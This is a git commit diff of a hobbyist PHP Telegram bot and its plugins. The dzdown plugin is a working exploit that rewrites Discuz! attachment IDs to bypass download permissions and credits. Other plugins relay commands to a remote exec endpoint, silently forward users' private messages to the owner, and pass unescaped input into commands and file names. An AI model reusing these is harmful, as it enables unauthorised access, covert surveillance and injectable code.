Second Pust, Big Change

This commit is contained in:
Denny Dai 2015-05-30 00:20:55 +08:00
parent 3667e84a00
commit 9ab379e3c2
15 changed files with 346 additions and 122 deletions

7
BOT.php Normal file
View File

@ -0,0 +1,7 @@
<?php
//init
require('classes/Telegram/Base.php');
require('classes/Telegram/Client.php');
$BOT = new DBot\Telegram\Client('unix:///tmp/tg.sck');
require_once('init.php');
?>

67
class.inc.php Normal file
View File

@ -0,0 +1,67 @@
<?php
namespace Telegram;
class Client extends Base
{
public function __construct($remoteSocket)
{
$this->_fp = stream_socket_client($remoteSocket);
if ($this->_fp === false) {
throw new ClientException('Could not connect to socket "' . $remoteSocket . '"');
}
stream_set_timeout($this->_fp, 1); //This way fgets() returns false if telegram-cli gives us no response.
}
public function __destruct()
{
fclose($this->_fp);
}
public function exec($command)
{
fwrite($this->_fp, str_replace("\n", '\n', $command) . PHP_EOL);
$answer = fgets($this->_fp); //"ANSWER $bytes" if there is a return value or \n if not
if (is_string($answer)) {
if (substr($answer, 0, 7) === 'ANSWER ') {
$bytes = (int) substr($answer, 7);
if ($bytes > 0) {
$string = trim(fread($this->_fp, $bytes + 1));
if ($string === 'SUCCESS') { //For "status_online" and "status_offline"
return true;
}
return $string;
}
} else if ($answer === PHP_EOL) { //For commands like "msg"
return true;
}
}
return false;
}
public function encodeUri($var){
return iconv("gb2312", "UTF-8", $var);
}
public function escapeString($var){
return '"' . addslashes($var) . '"';
}
public function escapePeer($peer){
return str_replace(' ', '_', $peer);
}
public function escape($var){
return escapeString(encodeUri($var));
}
public function PluginList($commands, $name){
global $plugins;
$plugins[] .= TAG.$commands." ".$name;
}
}

51
classes/Telegram/Base.php Normal file
View File

@ -0,0 +1,51 @@
<?php
namespace DBot\Telegram;
class Base
{
protected $_fp;
public function __construct($Socket)
{
$this->_fp = stream_socket_client($Socket);
if ($this->_fp === false) {
throw new ClientException('Could not connect to socket "' . $Socket . '"');
}
stream_set_timeout($this->_fp, 1);
}
public function __destruct()
{
fclose($this->_fp);
}
public function exec($command)
{
fwrite($this->_fp, str_replace("\n", '\n', $command) . PHP_EOL);
$answer = fgets($this->_fp);
if (is_string($answer)) {
if (substr($answer, 0, 7) === 'ANSWER ') {
$bytes = (int) substr($answer, 7);
if ($bytes > 0) {
$Response = trim(fread($this->_fp, $bytes + 1));
return $Response;
}
}elseif ($answer === PHP_EOL) {
return true;
}
}
return false;
}
public function escapeStringArgument($argument)
{
return '"' . addslashes($argument) . '"';
}
public function escapePeer($peer)
{
return str_replace(' ', '_', $peer);
}
}

View File

@ -0,0 +1,85 @@
<?php
namespace DBot\Telegram;
class Client extends Base
{
public function setStatusOnline()
{
return $this->exec('status_online');
}
public function setStatusOffline()
{
return $this->exec('status_offline');
}
public function msg($peer, $msg)
{
$peer = $this->escapePeer($peer);
$msg = $this->escapeStringArgument($msg);
return $this->exec('msg ' . $peer . ' ' . $msg);
}
public function addContact($phoneNumber, $firstName, $lastName)
{
$phoneNumber = preg_replace('%[^0-9]%', '', (string) $phoneNumber);
if (empty($phoneNumber)) {
return false;
}
return $this->exec('add_contact ' . $phoneNumber . ' ' . $this->escapeStringArgument($firstName)
. ' ' . $this->escapeStringArgument($lastName));
}
public function renameContact($contact, $firstName, $lastName)
{
return $this->exec('rename_contact ' . $this->escapePeer($contact)
. ' ' . $this->escapeStringArgument($firstName) . ' ' . $this->escapeStringArgument($lastName));
}
public function deleteContact($contact)
{
return $this->exec('del_contact ' . $this->escapePeer($contact));
}
public function markRead($peer)
{
return $this->exec('mark_read ' . $this->escapePeer($peer));
}
public function getContactList()
{
return explode(PHP_EOL, $this->exec('contact_list'));
}
public function getUserInfo($user)
{
return $this->exec('user_info ' . $this->escapePeer($user));
}
public function getDialogList()
{
return explode(PHP_EOL, $this->exec('dialog_list'));
}
public function getHistory($peer, $limit = null, $offset = null)
{
if ($limit !== null) {
$limit = (int) $limit;
if ($limit < 1) { //if limit is lesser than 1, telegram-cli crashes
$limit = 1;
}
$limit = ' ' . $limit;
} else {
$limit = '';
}
if ($offset !== null) {
$offset = ' ' . (int) $offset;
} else {
$offset = '';
}
return $this->exec('history ' . $this->escapePeer($peer) . $limit . $offset);
}
}

2
config.inc.php Normal file
View File

@ -0,0 +1,2 @@
<?php
define('TAG', '#');

20
functions.php Normal file
View File

@ -0,0 +1,20 @@
<?php
function escapeString($var){
return '"' . addslashes($var) . '"';
}
function escapePeer($peer){
return str_replace(' ', '_', $peer);
}
function PluginList($commands, $name){
global $plugins;
$plugins[] .= TAG.$commands." ".$name;
}
function init_bot($var){
global $BOT;
require('classes/'.$var.'/Base.php');
$classname = 'DBot\\'.$var.'\Base';
$BOT = new $classname('unix:///tmp/'.$var.'.sck');
}

34
init.php Normal file
View File

@ -0,0 +1,34 @@
<?php
require_once('config.inc.php');
require_once('functions.php');
$plugins = [];
if($_GET['from'] != "Dx._Dennx"){
//is group?
if ($_GET['to'] == 'Dx._Dennx') {
$isgroup = false;
}else{
$isgroup = true;
}
//reply to...
if ($isgroup) {
$from = $_GET['to'];
}else{
$from = $_GET['from'];
$BOT->exec("msg Denny_Dai ".json_encode($_GET)); //私聊监测
}
//load plugins
$load_plugins = glob(dirname(__FILE__).DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'*.php');
foreach ($load_plugins as $key => $value) {
if ($value == dirname(__FILE__).DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'help.php') {
unset($load_plugins[$key]);
}
}
foreach ($load_plugins as $value) {
require_once $value;
}
require_once dirname(__FILE__).DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'help.php';
}

22
plugins/dzdown.php Normal file
View File

@ -0,0 +1,22 @@
<?php
PluginList("dzdown", "Discuz! 免积分下载");
if (preg_match("/^".TAG."dzdown (.*)$/", $_GET['text'], $matches)) {
$url = str_replace("%3D","=",$matches[0]);
preg_match_all("/(\?|&)aid=([^&?]*)/i",$url,$match0);
$aid=$match0[2][0];
$aid = base64_decode($aid);
preg_match_all("/\|(.*?)\|/i",$aid,$match1);
if(!empty($_POST['uid'])){
$uid = '|'.$_POST['uid'].'|';
}else{
$uid = '|1|';
}
$aid = str_replace($match1[0][1], $uid, $aid);
$aid = base64_encode($aid);
$aid = str_replace("=","%3D",$aid);
preg_match_all("#https?://(.*?)($|/)#m",$url,$match2);
$url = $match2[0][0].'forum.php?mod=attachment&aid='.$aid;
$msg = "下载链接: ".$url;
$msg .= "\n若提示[抱歉,只有特定用户可以下载本站附件]则该uid没下载权限可更改uid试试uid就是用户id\n若提示[抱歉,该附件无法读取]则证明该uid未打开过该帖可更改uid试试或漏洞已修补无法免积分下载\n若提示[请不要从外部链接下载本站附件]在新打开页面刷新窗口即可";
$BOT->exec("msg ".$from." ".escapeString($msg));
}

5
plugins/echo.php Normal file
View File

@ -0,0 +1,5 @@
<?php
PluginList("echo", "输出");
if (preg_match("/^".TAG."echo (.*)$/", $_GET['text'], $matches)) {
$BOT->exec("msg ".$from." ".$matches[1]);
}

6
plugins/exec.php Normal file
View File

@ -0,0 +1,6 @@
<?php
//PluginList("exec", "Execute");
if (preg_match("/^".TAG."exec (.*)$/", $_GET['text'], $matches) and $_GET['from'] == 'Denny_Dai') {
$msg = file_get_contents("http://1.vps.dennx.com/?exec=".urlencode($matches[1]));
$BOT->msg($from,$msg);
}

9
plugins/help.php Normal file
View File

@ -0,0 +1,9 @@
<?php
PluginList("help", "查看帮助");
if (preg_match("/^".TAG."help$/", $_GET['text'])) {
$plugin_list = "欢迎使用来自Dennx.com的TG-BOT";
foreach ($plugins as $value) {
$plugin_list .= "\n".$value;
}
$BOT->exec("msg ".$from." ".escapeString($plugin_list));
}

12
plugins/ipto.php Normal file
View File

@ -0,0 +1,12 @@
<?php
PluginList("ipto", "IP变形");
if (preg_match("/^".TAG."ipto (.*)$/", $_GET['text'], $matches)) {
$arr = explode('.',$matches[1]);
$msg = '原IP: '.$arr[0].'.'.$arr[1].'.'.$arr[2].'.'.$arr[3];
$msg .= "\n整数型: ".($arr[0] * pow(256,3) + $arr[1] * pow(256,2) + $arr[2] * 256 + $arr[3]);
$msg .= "\n八进制: 0".decoct($arr[0]).".0".decoct($arr[1]).".0".decoct($arr[2]).'.0'.decoct($arr[3]);
$msg .= "\n十六进制: 0x".dechex($arr[0]).".0x".dechex($arr[1]).".0x".dechex($arr[2]).'.0x'.dechex($arr[3]);
$msg .= "\n变态十六进制: 0x0000000000".dechex($arr[0]).".0x0000000000".dechex($arr[1]).".0x0000000000".dechex($arr[2]).'.0x0000000000'.dechex($arr[3]);
$msg .= "\n原ip、八进制、十六进制以及变态十六进制ip可以任意组合如: 0".decoct($arr[0]).'.0x0000000000'.dechex($arr[1]).'.'.$arr[2].'.0x'.dechex($arr[3]);
$BOT->exec("msg ".$from." ".escapeString($msg));
}

16
plugins/trans.php Normal file
View File

@ -0,0 +1,16 @@
<?php
//PluginList("trans", "翻译");
if (preg_match("/^".TAG."trans (.*)$/", $_GET['text'], $matches)) {
$matches = explode(" ", $matches[1], 2);
if (!isset($matches[1])) {
$to = "zh";
$text = $matches[0];
}else{
$to = $matches[0];
$text = $matches[1];
}
$trans = file_get_contents("http://tool.dennx.com/translate/?text=".$text."&to=".$to);
$msg = "翻译结果: ".$trans;
$BOT->exec("msg ".$from." ".escapeString($msg));
}

10
plugins/tts.php Normal file
View File

@ -0,0 +1,10 @@
<?php
PluginList("tts", "文字转语音");
if (preg_match("/^".TAG."tts (.*)$/", $_GET['text'], $matches)) {
$mp3 = file_get_contents("http://tts.baidu.com/text2audio?lan=zh&ie=UTF-8&text=".$matches[1]);
$file = fopen($_GET['from'].".mp3","w");
echo fwrite($file,$mp3);
fclose($file);
$BOT->exec("send_audio ".$from." /home/wwwroot/1.vps.dennx.com/".$_GET['from'].".mp3");
//unlink($matches[1].".mp3");
}

View File

@ -1,122 +0,0 @@
<?php
//init
require('vendor/autoload.php');
$telegram = new \Zyberspace\Telegram\Cli\Client('unix:///tmp/tg.sck');
function encodeURI($peer){
return iconv("gb2312", "UTF-8", $peer);
}
function escapeStringArgument($argument)
{
return '"' . addslashes($argument) . '"';
}
function escape($argument)
{
return escapeStringArgument(encodeURI($argument));
}
$plugins = [];
if($_GET['from'] != "Dx._Dennx"){
//is group?
if ($_GET['to'] == 'Dx._Dennx') {
$isgroup = false;
}else{
$isgroup = true;
}
//reply to...
if ($isgroup) {
$from = $_GET['to'];
}else{
$from = $_GET['from'];
$telegram->exec("msg Denny_Dai ".json_encode($_GET)); //私聊监测
}
//begin!
#dzdown
$plugins[] .= "#dzdown Discuz! 免积分下载 [#dzdown <附件URL>]";
if (preg_match("/^#dzdown (.*)$/", $_GET['text'], $matches)) {
$url = str_replace("%3D","=",$matches[0]);
preg_match_all("/(\?|&)aid=([^&?]*)/i",$url,$match0);
$aid=$match0[2][0];
$aid = base64_decode($aid);
preg_match_all("/\|(.*?)\|/i",$aid,$match1);
if(!empty($_POST['uid'])){
$uid = '|'.$_POST['uid'].'|';
}else{
$uid = '|1|';
}
$aid = str_replace($match1[0][1], $uid, $aid);
$aid = base64_encode($aid);
$aid = str_replace("=","%3D",$aid);
preg_match_all("#https?://(.*?)($|/)#m",$url,$match2);
$url = $match2[0][0].'forum.php?mod=attachment&aid='.$aid;
$msg = "下载链接: ".$url;
$msg .= "\n若提示[抱歉,只有特定用户可以下载本站附件]则该uid没下载权限可更改uid试试uid就是用户id\n若提示[抱歉,该附件无法读取]则证明该uid未打开过该帖可更改uid试试或漏洞已修补无法免积分下载\n若提示[请不要从外部链接下载本站附件]在新打开页面刷新窗口即可";
$telegram->exec("msg ".$from." ".escape($msg));
}
#echo
$plugins[] .= "#echo 输出 [#echo <text>]";
if (preg_match("/^#echo (.*)$/", $_GET['text'], $matches)) {
$telegram->exec("msg ".$from." ".$matches[1]);
}
#exec
//$plugins[] .= "#exec Execute [#exec <cmd>]";
if (preg_match("/^#exec (.*)$/", $_GET['text'], $matches) and $_GET['from'] == 'Denny_Dai') {
$msg = file_get_contents("http://1.vps.dennx.com/?exec=".urlencode($matches[1]));
$telegram->msg($from,$msg);
}
#ipto
$plugins[] .= "#ipto IP变形 [#ip <ip>]";
if (preg_match("/^#ipto (.*)$/", $_GET['text'], $matches)) {
$arr = explode('.',$matches[1]);
$msg = '原IP: '.$arr[0].'.'.$arr[1].'.'.$arr[2].'.'.$arr[3];
$msg .= "\n整数型: ".($arr[0] * pow(256,3) + $arr[1] * pow(256,2) + $arr[2] * 256 + $arr[3]);
$msg .= "\n八进制: 0".decoct($arr[0]).".0".decoct($arr[1]).".0".decoct($arr[2]).'.0'.decoct($arr[3]);
$msg .= "\n十六进制: 0x".dechex($arr[0]).".0x".dechex($arr[1]).".0x".dechex($arr[2]).'.0x'.dechex($arr[3]);
$msg .= "\n变态十六进制: 0x0000000000".dechex($arr[0]).".0x0000000000".dechex($arr[1]).".0x0000000000".dechex($arr[2]).'.0x0000000000'.dechex($arr[3]);
$msg .= "\n原ip、八进制、十六进制以及变态十六进制ip可以任意组合如: 0".decoct($arr[0]).'.0x0000000000'.dechex($arr[1]).'.'.$arr[2].'.0x'.dechex($arr[3]);
$telegram->exec("msg ".$from." ".escape($msg));
}
#trans
//$plugins[] .= "#trans 翻译 [#trans <target-lang>(两位) <text>]";
if (preg_match("/^#trans (.*)$/", $_GET['text'], $matches)) {
$matches = explode(" ", $matches[1], 2);
if (!isset($matches[1])) {
$to = "zh";
$text = $matches[0];
}else{
$to = $matches[0];
$text = $matches[1];
}
$trans = file_get_contents("http://tool.dennx.com/translate/?text=".$text."&to=".$to);
$msg = "翻译结果: ".$trans;
$telegram->exec("msg ".$from." ".escape($msg));
}
#tts
$plugins[] .= "#tts 文字转语音 [#tts <text>]";
if (preg_match("/^#tts (.*)$/", $_GET['text'], $matches)) {
$mp3 = file_get_contents("http://tts.baidu.com/text2audio?lan=zh&ie=UTF-8&text=".$matches[1]);
$file = fopen($_GET['from'].".mp3","w");
echo fwrite($file,$mp3);
fclose($file);
$telegram->exec("send_audio ".$from." /home/wwwroot/1.vps.dennx.com/".$_GET['from'].".mp3");
//unlink($matches[1].".mp3");
}
#help & plugin List (!at the last of plugins)
$plugins[] .= "#help 查看帮助 [#help]";
if (preg_match("/^#help$/", $_GET['text'])) {
$plugin_list = "欢迎使用来自Dennx.com的TG-BOT";
foreach ($plugins as $value) {
$plugin_list .= "\n".$value;
}
$telegram->exec("msg ".$from." ".escape($plugin_list));
}
}